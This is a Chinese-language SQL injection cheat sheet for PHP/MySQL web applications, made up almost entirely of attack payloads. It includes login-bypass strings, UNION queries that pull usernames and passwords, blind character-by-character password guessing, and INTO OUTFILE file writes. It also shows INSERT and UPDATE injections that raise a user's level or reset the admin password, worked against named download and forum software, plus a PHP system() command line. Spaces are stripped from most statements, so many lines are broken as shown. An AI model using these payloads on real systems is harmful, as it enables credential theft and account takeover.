【导读】PHP注入程序
php注射库
'or1=1
'or'1=1
'/*
'%23
'andpassword='mypass
id=-1unionselect1,1,1
id=-1unionselectchar(97),char(97),char(97)
id=1unionselect1,1,1frommembers
id=1unionselect1,1,1fromadmin
id=1unionselect1,1,1fromuser
userid=1andpassword=mypass
userid=1andmid(password,3,1)=char(112)
userid=1andmid(password,4,1)=char(97)
andord(mid(password,3,1))>111（ord函数很好用，可以返回整形的）
'andLENGTH(password)='6（探测密码长度）
'andLEFT(password,1)='m
'andLEFT(password,2)='my
…………………………依次类推
'unionselect1,username,passwordfromuser/*
'unionselect1,username,passwordfromuser/*
='unionselect1,username,passwordfromuser/*（可以是1或者=后直接跟）
99999'unionselect1,username,passwordfromuser/*
'intooutfile'c:/file.txt（导出文件）
='or1=1intooutfile'c:/file.txt
1'unionselect1,username,passwordfromuserintooutfile'c:/user.txt
selectpasswordFROMadminswherelogin='John'INTODUMPFILE'/path/to/site/file.txt'
id='unionselect1,username,passwordfromuserintooutfile
id=-1unionselect1,database(),version()（灵活应用查询）
常用查询测试语句，
select*FROMtablewhere1=1
select*FROMtablewhere'uuu'='uuu'
select*FROMtablewhere1<>2
select*FROMtablewhere3>2
select*FROMtablewhere2<3
select*FROMtablewhere1
select*FROMtablewhere1+1
select*FROMtablewhere1--1
select*FROMtablewhereISNULL(NULL)
select*FROMtablewhereISNULL(COT(0))
select*FROMtablewhere1ISNOTNULL
select*FROMtablewhereNULLISNULL
select*FROMtablewhere2BETWEEN1AND3
select*FROMtablewhere'b'BETWEEN'a'AND'c'
select*FROMtablewhere2IN(0,1,2)
select*FROMtablewhereCASEWHEN1>0THEN1END
例如：夜猫下载系统1.0版本
id=1unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_user
unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1
id=10000unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andgroupid=1
unionselect1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1（替换，寻找密码）
unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,1,1))=49（验证第一位密码）
unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,2,1))=50（第二位）
unionselect1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1fromymdown_userwhereid=1andord(mid(password,3,1))=51
…………………………………………………………
例如2：灰色轨迹变换id进行测试（meteor）
union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate
构造语句：
selectallowsmilies,public,userid,eventdate,event,subjectFROMcalendar_eventswhereeventid=1union(select1,1,1,1,1,1,1fromuserwhereuserid=1)
selectallowsmilies,public,userid,eventdate,event,subjectFROMcalendar_eventswhereeventid=1union(select1,1,1,1,username,passwordfromuserwhereuserid=1)
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate（查沙子的id）
（selectaFROMtable_namewherea=10ANDB=1ORDERBYaLIMIT10)
select*FROMarticlewherearticleid='$id'unionselect*FROM……（字段和数据库相同情况下，可直接提交）
select*FROMarticlewherearticleid='$id'unionselect1,1,1,1,1,1,1FROM……（不同的情况下）
特殊技巧：在表单，搜索引擎等地方写：
"___"
".__"
"%
%'ORDERBYarticleid/*
%'ORDERBYarticleid#
__'ORDERBYarticleid/*
__'ORDERBYarticleid#
$command="dirc:\";system($command);
select*FROMarticlewherearticleid='$id'
select*FROMarticlewherearticleid=$id
1'and1=2unionselect*fromuserwhereuserid=1/*句中变为
(select*FROMarticlewherearticleid='1'and1=2unionselect*fromuserwhereuserid=1/*')
1and1=2unionselect*fromuserwhereuserid=1
语句形式：建立一个库，插入：
createDATABASE`injection`
createTABLE`user`(
`userid`int(11)NOTNULLauto_increment,
`username`varchar(20)NOTNULLdefault'',
`password`varchar(20)NOTNULLdefault'',
PRIMARYKEY(`userid`)
);
insertINTO`user`VALUES(1,'swap','mypass');
插如一个注册用户：
insertINTO`user`(userid,username,password,homepage,userlevel)VALUES('','$username','$password','$homepage','1');
"insertINTOmembres(login,password,nom,email,userlevel)VALUES('$login','$pass','$nom','$email','1')";
insertINTOmembres(login,password,nom,email,userlevel)VALUES('','','','','3')#','1')
"insertINTOmembresSETlogin='$login',password='$pass',nom='$nom',email='$email'";
insertINTOmembresSETlogin='',password='',nom='',userlevel='3',email=''
"insertINTOmembresVALUES('$id','$login','$pass','$nom','$email','1')";
updateuserSETpassword='$password',homepage='$homepage'whereid='$id'
updateuserSETpassword='MD5(mypass)'whereusername='admin'#)',homepage='$homepage'whereid='$id'
"updatemembresSETpassword='$pass',nom='$nom',email='$email'whereid='$id'";
updatemembresSETpassword='[PASS]',nom='',userlevel='3',email=''whereid='[ID]'
"updatenewsSETVotes=Votes+1,score=score+$notewhereidnews='$id'";
长用函数：
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如：
updatearticleSETtitle=$titlewherearticleid=1对应函数
updatearticleSETtitle=DATABASE()whereid=1
#把当前数据库名更新到title字段
updatearticleSETtitle=USER()whereid=1
#把当前MySQL用户名更新到title字段
updatearticleSETtitle=SYSTEM_USER()whereid=1
#把当前MySQL用户名更新到title字段
updatearticleSETtitle=SESSION_USER()whereid=1
#把当前MySQL用户名更新到title字段
updatearticleSETtitle=CURRENT_USER()whereid=1
#把当前会话被验证匹配的用户名更新到title字段
：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：
$req="select*FROMmembreswherenamelike'%$search%'ORDERBYname";
select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname
select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname
selectuidFROMadminswherelogin=''OR'a'='a'ANDpassword=''OR'a'='a'（经典）
selectuidFROMadminswherelogin=''ORadmin_level=1#'ANDpassword=''
select*FROMtablewheremsglike'%hop'
selectuidFROMmembreswherelogin='Bob'ANDpasswordlike'a%'#'ANDpassword=''
select*FROMmembreswherenamelike'%%'ORDERBYuid#%'ORDERBYname
